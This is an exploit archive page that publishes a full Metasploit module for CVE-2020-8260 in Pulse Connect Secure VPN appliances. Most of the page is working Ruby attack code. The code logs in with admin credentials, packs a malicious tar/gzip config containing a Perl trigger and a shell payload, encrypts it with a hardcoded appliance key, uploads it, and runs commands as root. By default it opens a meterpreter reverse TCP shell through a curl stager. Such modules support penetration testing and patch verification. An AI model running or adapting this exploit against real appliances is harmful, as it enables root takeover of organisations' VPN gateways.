exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pulse Secure VPN Remote Code Execution

Pulse Secure VPN Remote Code Execution
Posted Dec 18, 2020
Authored by h00die, Spencer McIntyre, Richard Warren, David Cash | Site metasploit.com

The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.

tags | exploit, remote, arbitrary, root, code execution
advisories | CVE-2020-8260
SHA-256 | 8de39b3d864b347239de1ec3dc821eb3dbbd1f8d117938aab08b12b371a9dbc1

Pulse Secure VPN Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pulse Secure VPN gzip RCE',
'Description' => %q{
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
Admin credentials are required for successful exploitation.
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
},
'Author' => [
'h00die', # msf module
'Spencer McIntyre', # msf module
'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
],
'References' => [
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
['CVE', '2020-8260']
],
'DisclosureDate' => '2020-10-26',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
}
]
],
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
])
end

def check(exploiting: false)
login
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
version, build = version

return CheckCode::Unknown unless version.include?('R')

version, revision = version.split('R', 2)
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

CheckCode::Detected
rescue Msf::Exploit::Failed
CheckCode::Unknown
ensure
logout unless exploiting
end

def exploit
case (checkcode = check(exploiting: true))
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
print_good(checkcode.message)
when Exploit::CheckCode::Detected
print_warning(checkcode.message)
else
fail_with(Module::Failure::Unknown, checkcode.message.to_s)
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
linemax: 262144, # 256KiB
delay: datastore['CMDSTAGER::DELAY']
)
end

logout
end

def execute_command(command, _opts = {})
trigger = Rex::Text.rand_text_alpha_upper(8)
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

config = build_malicious_config(command, trigger)
res = upload_config(config)

fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200

print_status('Triggering RCE')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
'headers' => { trigger => trigger }
})
end

def res_get_xsauth(res)
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
end

def upload_config(config)
print_status('Requesting backup config page')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'vars_get' => { 'type' => 'system' }
})
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

post_data = Rex::MIME::Message.new
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part('Import', nil, nil, 'form-data; name="op"')
post_data.add_part('system', nil, nil, 'form-data; name="type"')
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

print_status('Uploading encrypted config backup')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
'method' => 'POST',
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
end

def login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'tz_offset' => '-300',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'realm' => 'Admin Users',
'btnSubmit' => 'Sign In'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
location = res.headers['Location']
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

return unless location.include?('admin%2Dconfirm')

# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
print_status('Other admin sessions detected, continuing')
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => fds.first,
'xsauth' => xsauth
},
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end

def logout
print_status('Logging out to prevent warnings to other admins')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200

logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

res = send_request_cgi({ 'uri' => logout_uri })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
end

def build_malicious_config(cmd, trigger)
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
perl = <<~PERL
if (length $ENV{HTTP_#{trigger}}){
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
system("env /data/var/runtime/tmp/tt/#{payload_script}");
}
PERL
tarfile = StringIO.new
Gem::Package::TarWriter.new(tarfile) do |tar|
tar.mkdir('tmp', 509)
tar.mkdir('tmp/tt', 509)
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
tio.write perl
end
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
tio.write "PATH=/home/bin:$PATH\n"
tio.write "rm -- \"$0\"\n"
tio.write cmd
end
end

gzfile = StringIO.new
gz = Zlib::GzipWriter.new(gzfile)
gz.write(tarfile.string)
gz.close

encrypt_config(gzfile.string)
end

def encrypt_config(config_blob)
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
iv = cipher.iv = cipher.random_iv
cipher.key = ENCRYPTION_KEY

md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

ciphertext = cipher.update(config_blob)
ciphertext << cipher.final
md5 << ciphertext

cipher.reset
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close